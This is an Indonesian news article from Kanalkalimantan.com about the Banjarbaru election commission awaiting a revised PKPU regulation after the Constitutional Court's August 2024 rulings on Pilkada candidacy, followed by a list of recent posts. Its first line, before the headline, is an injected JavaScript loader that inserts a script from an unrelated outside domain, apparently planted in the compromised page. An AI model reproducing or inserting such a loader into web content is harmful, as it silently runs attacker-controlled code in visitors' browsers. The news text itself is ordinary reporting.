(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Pemilu 2024

KPU Banjarbaru Tunggu Perubahan PKPU Pasca Putusan MK


KANALKALIMANTAN.COM, BANJARBARU – Tahapan pendaftaran pasangan calon Pemilihan Kepala Daerah (Pilkada) 2024 akan dilangsungkan serentak oleh KPU provinsi, kabupaten/kota se Indonesia pada 27-29 Agustus 2024.

Empat hari menjelang pelaksanaan tahapan pendaftaran itu, Komisi Pemilihan Umum (KPU) Kota Banjarbaru masih menunggu teknis pendaftaran calon yang seyogyanya dimuat pada perubahan Peraturan Komisi Pemilihan Umum (PKPU) Nomor 8 Tahun 2024 tentang Pilkada.

Hal itu disampaikan Ketua KPU Banjarbaru, Dahtiar kepada Kanalkalimantan pasca keluar putusan Mahkamah Konstitusi (MK), Jumat (23/8/2024) pagi.

Baca juga: 23 Agustus Hari Konferensi Meja Bundar, Kedaulatan Pasca Kemerdekaan

“Kami lembaga yang bersifat hirarkis, akan berjalan sesuai dengan petunjuk arahan dan juga aturan yang mungkin akan dirubah KPU RI. Jadi apa yang akan jadi muatan dari KPU maupun PKPU, itu nanti yang akan kita laksanakan secara teknis,” kata Dahtiar.

Perubahan PKPU tersebut banyak dituntut massa pendemo agar sesuai dengan keputusan MK Nomor 60/PUU-XXII/2024 dan Nomor 70/PUU-XXII/2024.

Di sisi lain, KPU RI mengupayakan agar perubahan PKPU Nomor 8 Tahun 2024 dan pedoman teknis dalam menindaklanjuti putusan MK tersebut terbit sebelum pendaftaran pasangan calon Pilkada 2024.

Baca juga: #KawalPutusanMK: Mahasiswa Tak Mau DPRD Banjarbaru Adem Ayem

Sehingga ditegaskan Dahtiar, saat ini KPU Banjarbaru belum bisa menyampaikan apa yang menjadi teknis dan syarat percalonan Wali Kota dan Wakil Wali Kota Banjarbaru.

“Jadi untuk saat ini kita belum bisa menyampaikan secara teknis apa saja nanti (Syarat, red), tapi yang pasti kita sama-sama tahu bahwa kemarin dan malam tadi KPU RI telah memberikan statement akan mengikuti putusan MK,” kata Dahtiar.

Jika KPU RI melaksanakan putusan MK dengan melakukan penyesuaian aturan Pilkada yang tertuang dalam PKPU Nomor 8 Tahun 2024 itu, KPU Banjarbaru akan sejalan dan mengikutinya.

Baca juga: Aman di Dunia Digital: Membentengi Diri dari Ancaman Siber dan Judi Online

“Tinggal kita menunggu PKPU pencalonan yang akan diterbitkan oleh KPU RI,” tegasnya.

“Siap melaksanakan apapun arahan dan petunjuk dari KPU RI,” tandas Dahtiar. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Muhammad Andi

Recent Posts

Pemerintah Kabupaten Banjar Gelar Sosialisasi Core Values ASN BerAKHLAK

KANALKALIMANTAN.COM, BANJARBARU - Wakil Bupati Banjar Habib Idrus Al Habsyi saat membuka Sosialisasi Core Values… Read More

4 jam ago

Launching Calendar of Event 2025, Ini Harapan Bupati Banjar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar melakukan Peluncuran Calendar of Event 2025 yang mencakup berbagai… Read More

4 jam ago

Koordinator Posko Tim Banjarbaru Hanyar Diancam Dihabisi, Dikirimi Dua Surat Kaleng

KANALKALIMANTAN.COM, BANJARMASIN - Tim Banjarbaru Haram Manyarah (Hanyar) yang mengawal hasil Pemilihan Wali Kota dan… Read More

4 jam ago

KPU Banjarbaru Siap Hadapi Gugatan MK

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru mengaku siap menghadapi proses gugatan yang… Read More

9 jam ago

Original Series V+ PayLater: Amanda Manopo Terjerat Hutang Pinjaman Online Puluhan Juta

KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More

11 jam ago

Sowan ke Bakti Kementerian Komdigi, Komisi II dan Diskominfo Kotabaru Perjuangkan Akses Internet

KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More

12 jam ago

This website uses cookies.